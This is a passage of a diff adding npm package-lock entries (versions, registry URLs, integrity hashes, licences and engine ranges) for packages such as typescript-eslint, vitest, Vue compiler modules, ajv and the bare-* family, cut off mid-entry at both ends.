"node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/tsconfig-utils": { + "version": "8.59.2", + "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.59.2.tgz", + "integrity": "sha512-BKK4alN7oi4C/zv4VqHQ+uRU+lTa6JGIZ7s1juw7b3RHo9OfKB+bKX3u0iVZetdsUCBBkSbdWbarJbmN0fTeSw==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/types": { + "version": "8.59.2", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.59.2.tgz", + "integrity": "sha512-e82GVOE8Ps3E++Egvb6Y3Dw0S10u8NkQ9KXmtRhCWJJ8kDhOJTvtMAWnFL16kB1583goCWXsr0NieKCZMs2/0Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/typescript-estree": { + "version": "8.59.2", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.59.2.tgz", + "integrity": "sha512-o0XPGNwcWw+FIwStOWn+BwBuEmL6QXP0rsvAFg7ET1dey1Nr6Wb1ac8p5HEsK0ygO/6mUxlk+YWQD9xcb/nnXg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/project-service": "8.59.2", + "@typescript-eslint/tsconfig-utils": "8.59.2", + "@typescript-eslint/types": "8.59.2", + "@typescript-eslint/visitor-keys": "8.59.2", + "debug": "^4.4.3", + "minimatch": "^10.2.2", + "semver": "^7.7.3", + "tinyglobby": "^0.2.15", + "ts-api-utils": "^2.5.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/visitor-keys": { + "version": "8.59.2", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.59.2.tgz", + "integrity": "sha512-NwjLUnGy8/Zfx23fl50tRC8rYaYnM52xNRYFAXvmiil9yh1+K6aRVQMnzW6gQB/1DLgWt977lYQn7C+wtgXZiA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.59.2", + "eslint-visitor-keys": "^5.0.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@vitest/coverage-v8": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-4.1.5.tgz", + "integrity": "sha512-38C0/Ddb7HcRG0Z4/DUem8x57d2p9jYgp18mkaYswEOQBGsI1CG4f/hjm0ZCeaJfWhSZ4k7jgs29V1Zom7Ki9A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@bcoe/v8-coverage": "^1.0.2", + "@vitest/utils": "4.1.5", + "ast-v8-to-istanbul": "^1.0.0", + "istanbul-lib-coverage": "^3.2.2", + "istanbul-lib-report": "^3.0.1", + "istanbul-reports": "^3.2.0", + "magicast": "^0.5.2", + "obug": "^2.1.1", + "std-env": "^4.0.0-rc.1", + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "@vitest/browser": "4.1.5", + "vitest": "4.1.5" + }, + "peerDependenciesMeta": { + "@vitest/browser": { + "optional": true + } + } + }, + "node_modules/@vitest/coverage-v8/node_modules/std-env": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.1.0.tgz", + "integrity": "sha512-Rq7ybcX2RuC55r9oaPVEW7/xu3tj8u4GeBYHBWCychFtzMIr86A7e3PPEBPT37sHStKX3+TiX/Fr/ACmJLVlLQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@vitest/expect": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.5.tgz", + "integrity": "sha512-PWBaRY5JoKuRnHlUHfpV/KohFylaDZTupcXN1H9vYryNLOnitSw60Mw9IAE2r67NbwwzBw/Cc/8q9BK3kIX8Kw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@standard-schema/spec": "^1.1.0", + "@types/chai": "^5.2.2", + "@vitest/spy": "4.1.5", + "@vitest/utils": "4.1.5", + "chai": "^6.2.2", + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/mocker": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.5.tgz", + "integrity": "sha512-/x2EmFC4mT4NNzqvC3fmesuV97w5FC903KPmey4gsnJiMQ3Be1IlDKVaDaG8iqaLFHqJ2FVEkxZk5VmeLjIItw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/spy": "4.1.5", + "estree-walker": "^3.0.3", + "magic-string": "^0.30.21" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "msw": "^2.4.9", + "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "msw": { + "optional": true + }, + "vite": { + "optional": true + } + } + }, + "node_modules/@vitest/pretty-format": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.5.tgz", + "integrity": "sha512-7I3q6l5qr03dVfMX2wCo9FxwSJbPdwKjy2uu/YPpU3wfHvIL4QHwVRp57OfGrDFeUJ8/8QdfBKIV12FTtLn00g==", + "dev": true, + "license": "MIT", + "dependencies": { + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/runner": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.5.tgz", + "integrity": "sha512-2D+o7Pr82IEO46YPpoA/YU0neeyr6FTerQb5Ro7BUnBuv6NQtT/kmVnczngiMEBhzgqz2UZYl5gArejsyERDSQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/utils": "4.1.5", + "pathe": "^2.0.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/snapshot": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.5.tgz", + "integrity": "sha512-zypXEt4KH/XgKGPUz4eC2AvErYx0My5hfL8oDb1HzGFpEk1P62bxSohdyOmvz+d9UJwanI68MKwr2EquOaOgMQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "4.1.5", + "@vitest/utils": "4.1.5", + "magic-string": "^0.30.21", + "pathe": "^2.0.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/spy": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.5.tgz", + "integrity": "sha512-2lNOsh6+R2Idnf1TCZqSwYlKN2E/iDlD8sgU59kYVl+OMDmvldO1VDk39smRfpUNwYpNRVn3w4YfuC7KfbBnkQ==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/utils": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.5.tgz", + "integrity": "sha512-76wdkrmfXfqGjueGgnb45ITPyUi1ycZ4IHgC2bhPDUfWHklY/q3MdLOAB+TF1e6xfl8NxNY0ZYaPCFNWSsw3Ug==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "4.1.5", + "convert-source-map": "^2.0.0", + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vladfrangu/async_event_emitter": { + "version": "2.4.7", + "resolved": "https://registry.npmjs.org/@vladfrangu/async_event_emitter/-/async_event_emitter-2.4.7.tgz", + "integrity": "sha512-Xfe6rpCTxSxfbswi/W/Pz7zp1WWSNn4A0eW4mLkQUewCrXXtMj31lCg+iQyTkh/CkusZSq9eDflu7tjEDXUY6g==", + "license": "MIT", + "engines": { + "node": ">=v14.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/@vue/compiler-core": { + "version": "3.5.34", + "resolved": "https://registry.npmjs.org/@vue/compiler-core/-/compiler-core-3.5.34.tgz", + "integrity": "sha512-s9cLyK5mLcvZ4Agva5QgRsQyLKvts9WbU9DB6NqiZkkGEdwmcEiylj5Jbwkp680drF/NNCV8OlAJSe+yMLxaJw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.3", + "@vue/shared": "3.5.34", + "entities": "^7.0.1", + "estree-walker": "^2.0.2", + "source-map-js": "^1.2.1" + } + }, + "node_modules/@vue/compiler-core/node_modules/entities": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/entities/-/entities-7.0.1.tgz", + "integrity": "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/@vue/compiler-core/node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@vue/compiler-dom": { + "version": "3.5.34", + "resolved": "https://registry.npmjs.org/@vue/compiler-dom/-/compiler-dom-3.5.34.tgz", + "integrity": "sha512-EbF/T++k0e2MMZlJsBhzK8Sgwt0HcIPOhzn1CTB/lv6sQcyk+OWf8YeiLxZp3ro7MbbLcAfAJ6sEvjFWuNgUCw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vue/compiler-core": "3.5.34", + "@vue/shared": "3.5.34" + } + }, + "node_modules/@vue/compiler-sfc": { + "version": "3.5.34", + "resolved": "https://registry.npmjs.org/@vue/compiler-sfc/-/compiler-sfc-3.5.34.tgz", + "integrity": "sha512-D/ihr6uZeIt6r+pVZf46RWT1fAsLFMbUP7k8G1VkiiWexriED9GrX3echHd4Abbt17zjlfiFJ8z7a3BxZOPNjg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.3", + "@vue/compiler-core": "3.5.34", + "@vue/compiler-dom": "3.5.34", + "@vue/compiler-ssr": "3.5.34", + "@vue/shared": "3.5.34", + "estree-walker": "^2.0.2", + "magic-string": "^0.30.21", + "postcss": "^8.5.14", + "source-map-js": "^1.2.1" + } + }, + "node_modules/@vue/compiler-sfc/node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@vue/compiler-ssr": { + "version": "3.5.34", + "resolved": "https://registry.npmjs.org/@vue/compiler-ssr/-/compiler-ssr-3.5.34.tgz", + "integrity": "sha512-cDtTHKibkThKGHH1SP+WdccquNRYQDFH6rRjQCqT9G2ltFAfoR5pUftpab/z+aM5mW9HLLVQW7hfKKQe/1GBeQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vue/compiler-dom": "3.5.34", + "@vue/shared": "3.5.34" + } + }, + "node_modules/@vue/shared": { + "version": "3.5.34", + "resolved": "https://registry.npmjs.org/@vue/shared/-/shared-3.5.34.tgz", + "integrity": "sha512-24uqU4OIiX29ryC3MeWid/Xf2fa2EFRUVLb77nRhk+UrTVrh/XiGtFAFmJBAtBRbjwNdsPRP+jj/OL27Eg1NDA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@xterm/headless": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@xterm/headless/-/headless-5.5.0.tgz", + "integrity": "sha512-5xXB7kdQlFBP82ViMJTwwEc3gKCLGKR/eoxQm4zge7GPBl86tCdI0IdPJjoKd8mUSFXz5V7i/25sfsEkP4j46g==", + "license": "MIT" + }, + "node_modules/abort-controller": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz", + "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==", + "license": "MIT", + "dependencies": { + "event-target-shim": "^5.0.0" + }, + "engines": { + "node": ">=6.5" + } + }, + "node_modules/accepts": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz", + "integrity": "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==", + "license": "MIT", + "dependencies": { + "mime-types": "^3.0.0", + "negotiator": "^1.0.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/acorn": { + "version": "8.16.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz", + "integrity": "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==", + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-import-attributes": { + "version": "1.9.5", + "resolved": "https://registry.npmjs.org/acorn-import-attributes/-/acorn-import-attributes-1.9.5.tgz", + "integrity": "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ==", + "license": "MIT", + "peerDependencies": { + "acorn": "^8" + } + }, + "node_modules/agent-base": { + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", + "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", + "license": "MIT", + "engines": { + "node": ">= 14" + } + }, + "node_modules/ajv": { + "version": "8.20.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", + "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz", + "integrity": "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==", + "license": "MIT", + "dependencies": { + "ajv": "^8.0.0" + }, + "peerDependencies": { + "ajv": "^8.0.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/any-promise": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", + "dev": true, + "license": "MIT" + }, + "node_modules/app-module-path": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/app-module-path/-/app-module-path-2.2.0.tgz", + "integrity": "sha512-gkco+qxENJV+8vFcDiiFhuoSvRXb2a/QPqpSoWhVz829VNJfOTnELbBmPmNKFxf3xdNnw4DWCkzkDaavcX/1YQ==", + "dev": true, + "license": "BSD-2-Clause" + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "license": "Python-2.0" + }, + "node_modules/arrify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/arrify/-/arrify-2.0.1.tgz", + "integrity": "sha512-3duEwti880xqi4eAMN8AyR4a0ByT90zoYdLlevfrvU43vb0YZwZVfxOgxWrLXXXpyugL0hNZc9G6BiB5B3nUug==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/asap": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", + "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==", + "dev": true, + "license": "MIT" + }, + "node_modules/assert-never": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/assert-never/-/assert-never-1.4.0.tgz", + "integrity": "sha512-5oJg84os6NMQNl27T9LnZkvvqzvAnHu03ShCnoj6bsJwS7L8AO4lf+C/XjK/nvzEqQB744moC6V128RucQd1jA==", + "dev": true, + "license": "MIT" + }, + "node_modules/assertion-error": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", + "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/ast-module-types": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/ast-module-types/-/ast-module-types-6.0.2.tgz", + "integrity": "sha512-6KuK/7nZ/2Qh7sGuVEiwxjCxzTY2Pdb5mTo5z1e6/J8BA0tvjR7G8vQJKrQMTqwmnA3UPEyKIFX4YUS1DO1Hvw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/ast-types": { + "version": "0.13.4", + "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.13.4.tgz", + "integrity": "sha512-x1FCFnFifvYDDzTaLII71vG5uvDwgtmDTEVWAxrgeiR8VjMONcCXJx7E+USjDtHlwFmt9MysbqgF9b9Vjr6w+w==", + "license": "MIT", + "dependencies": { + "tslib": "^2.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/ast-v8-to-istanbul": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/ast-v8-to-istanbul/-/ast-v8-to-istanbul-1.0.0.tgz", + "integrity": "sha512-1fSfIwuDICFA4LKkCzRPO7F0hzFf0B7+Xqrl27ynQaa+Rh0e1Es0v6kWHPott3lU10AyAr7oKHa65OppjLn3Rg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.31", + "estree-walker": "^3.0.3", + "js-tokens": "^10.0.0" + } + }, + "node_modules/ast-v8-to-istanbul/node_modules/js-tokens": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-10.0.0.tgz", + "integrity": "sha512-lM/UBzQmfJRo9ABXbPWemivdCW8V2G8FHaHdypQaIy523snUjog0W71ayWXTjiR+ixeMyVHN2XcpnTd/liPg/Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/b4a": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/b4a/-/b4a-1.8.0.tgz", + "integrity": "sha512-qRuSmNSkGQaHwNbM7J78Wwy+ghLEYF1zNrSeMxj4Kgw6y33O3mXcQ6Ie9fRvfU/YnxWkOchPXbaLb73TkIsfdg==", + "license": "Apache-2.0", + "peerDependencies": { + "react-native-b4a": "*" + }, + "peerDependenciesMeta": { + "react-native-b4a": { + "optional": true + } + } + }, + "node_modules/babel-walk": { + "version": "3.0.0-canary-5", + "resolved": "https://registry.npmjs.org/babel-walk/-/babel-walk-3.0.0-canary-5.tgz", + "integrity": "sha512-GAwkz0AihzY5bkwIY5QDR+LvsRQgB/B+1foMPvi0FZPMl5fjD7ICiznUiBdLYMH1QYe6vqu4gWYytZOccLouFw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.9.6" + }, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/badgen": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/badgen/-/badgen-3.3.1.tgz", + "integrity": "sha512-8y2Av4AP7G6jtwvRcPcEuPPigRouY6izfXy8qEp+4kMN4Va08VkCAbAvcFXwtHXsTSxbLHD4nglH5TmdKXaEkw==", + "dev": true, + "license": "MIT" + }, + "node_modules/bail": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz", + "integrity": "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/balanced-match": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", + "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", + "license": "MIT", + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/bare-events": { + "version": "2.8.2", + "resolved": "https://registry.npmjs.org/bare-events/-/bare-events-2.8.2.tgz", + "integrity": "sha512-riJjyv1/mHLIPX4RwiK+oW9/4c3TEUeORHKefKAKnZ5kyslbN+HXowtbaVEqt4IMUB7OXlfixcs6gsFeo/jhiQ==", + "license": "Apache-2.0", + "peerDependencies": { + "bare-abort-controller": "*" + }, + "peerDependenciesMeta": { + "bare-abort-controller": { + "optional": true + } + } + }, + "node_modules/bare-fs": { + "version": "4.7.1", + "resolved": "https://registry.npmjs.org/bare-fs/-/bare-fs-4.7.1.tgz", + "integrity": "sha512-WDRsyVN52eAx/lBamKD6uyw8H4228h/x0sGGGegOamM2cd7Pag88GfMQalobXI+HaEUxpCkbKQUDOQqt9wawRw==", + "license": "Apache-2.0", + "dependencies": { + "bare-events": "^2.5.4", + "bare-path": "^3.0.0", + "bare-stream": "^2.6.4", + "bare-url": "^2.2.2", + "fast-fifo": "^1.3.2" + }, + "engines": { + "bare": ">=1.16.0" + }, + "peerDependencies": { + "bare-buffer": "*" + }, + "peerDependenciesMeta": { + "bare-buffer": { + "optional": true + } + } + }, + "node_modules/bare-os": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/bare-os/-/bare-os-3.9.0.tgz", + "integrity": "sha512-JTjuZyNIDpw+GytMO4a6TK1VXdVKKJr6DRxEHasyuYyShV2deuiHJK/ahGZlebc+SG0/wJCB9XK8gprBGDFi/Q==", + "license": "Apache-2.0", + "engines": { + "bare": ">=1.14.0" + } + }, + "node_modules/bare-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/bare-path/-/bare-path-3.0.0.tgz", + "integrity": "sha512-tyfW2cQcB5NN8Saijrhqn0Zh7AnFNsnczRcuWODH0eYAXBsJ5gVxAUuNr7tsHSC6IZ77cA0SitzT+s47kot8Mw==", + "license": "Apache-2.0", + "dependencies": { + "bare-os": "^3.0.1" + } + }, + "node_modules/bare-stream": { + "version": "2.13.1", + "resolved": "https://registry.npmjs.org/bare-stream/-/bare-stream-2.13.1.tgz", + "integrity": "sha512-Vp0cnjYyrEC4whYTymQ+YZi6pBpfiICZO3cfRG8sy67ZNWe951urv1x4eW1BKNngw3U+3fPYb5JQvHbCtxH7Ow==", + "license": "Apache-2.0", + "dependencies": { + "streamx": "^2.25.0", + "teex": "^1.0.1" + }, + "peerDependencies": { + "bare-abort-controller": "*", + "bare-buffer": "*", + "bare-events": "*" + }, + "peerDependenciesMeta": { + "bare-abort-controller": { + "optional": true + }, + "bare-buffer": { + "optional": true + }, + "bare-events": { + "optional": true + } + } + }, + "node_modules/bare-url": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/bare-url/-/bare-url-2.4.2.tgz", + "integrity": "sha512-/9a2j4ac6ckpmAHvod/ob7x439OAHst/drc2Clnq+reRYd/ovddwcF4LfoxHyNk5AuGBnPg+HqFjmE/Zpq6v0A==", + "license": "Apache-2.0", + "dependencies": { + "bare-path": "^3.0.0" + } + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/basic-ftp": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/basic-ftp/-/basic-ftp-5.3.1.tgz", + "integrity": "sha512-bopVNp6ugyA150DDuZfPFdt1KZ5a94ZDiwX4hMgZDzF+GttD80lEy8kj98kbyhLXnPvhtIo93mdnLIjpCAeeOw==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/before-after-hook": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-4.0.0.tgz", + "integrity": "sha512-q6tR3RPqIB1pMiTRMFcZwuG5T8vwp+vUvEG0vuI6B+Rikh5BfPp2fQ82c925FOs+b0lcFQ8CFrL+KbilfZFhOQ==", + "license": "Apache-2.0" + }, + "node_modules/bignumber.js": { + "version": "9.3.1", + "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.3.1.tgz", + "integrity": "sha512-Ko0uX15oIUS7wJ3Rb30Fs6SkVbLmPBAKdlm7q9+ak9bbIeFf0MwuBsQV6z7+X768/cHsfg+WlysDWJcmthjsjQ==", + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/bl": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "node_modules/blamer": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/blamer/-/blamer-1.0.7.tgz", + "integrity": "sha512-GbBStl/EVlSWkiJQBZps3H1iARBrC7vt++Jb/TTmCNu/jZ04VW7tSN1nScbFXBUy1AN+jzeL7Zep9sbQxLhXKA==", + "dev": true, + "license": "MIT", + "dependencies": { + "execa": "^4.0.0", + "which": "^2.0.2" + }, + "engines": { + "node": ">=8.9" + } + }, + "node_modules/blamer/node_modules/execa": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-4.1.0.tgz", + "integrity": 